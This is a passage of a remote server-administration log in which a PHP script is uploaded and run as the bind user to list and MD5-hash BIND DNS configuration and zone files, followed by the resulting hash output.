MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:00:59: Establishing a connection
2026-02-09 14:00:59: 

PUT: /tmp/pkp732021

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:00:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp732021; rm /tmp/pkp732021'

2026-02-09 14:01:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:01:02: Establishing a connection
2026-02-09 14:01:02: 

PUT: /tmp/pkp409587

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:01:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp409587; rm /tmp/pkp409587'

2026-02-09 14:01:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
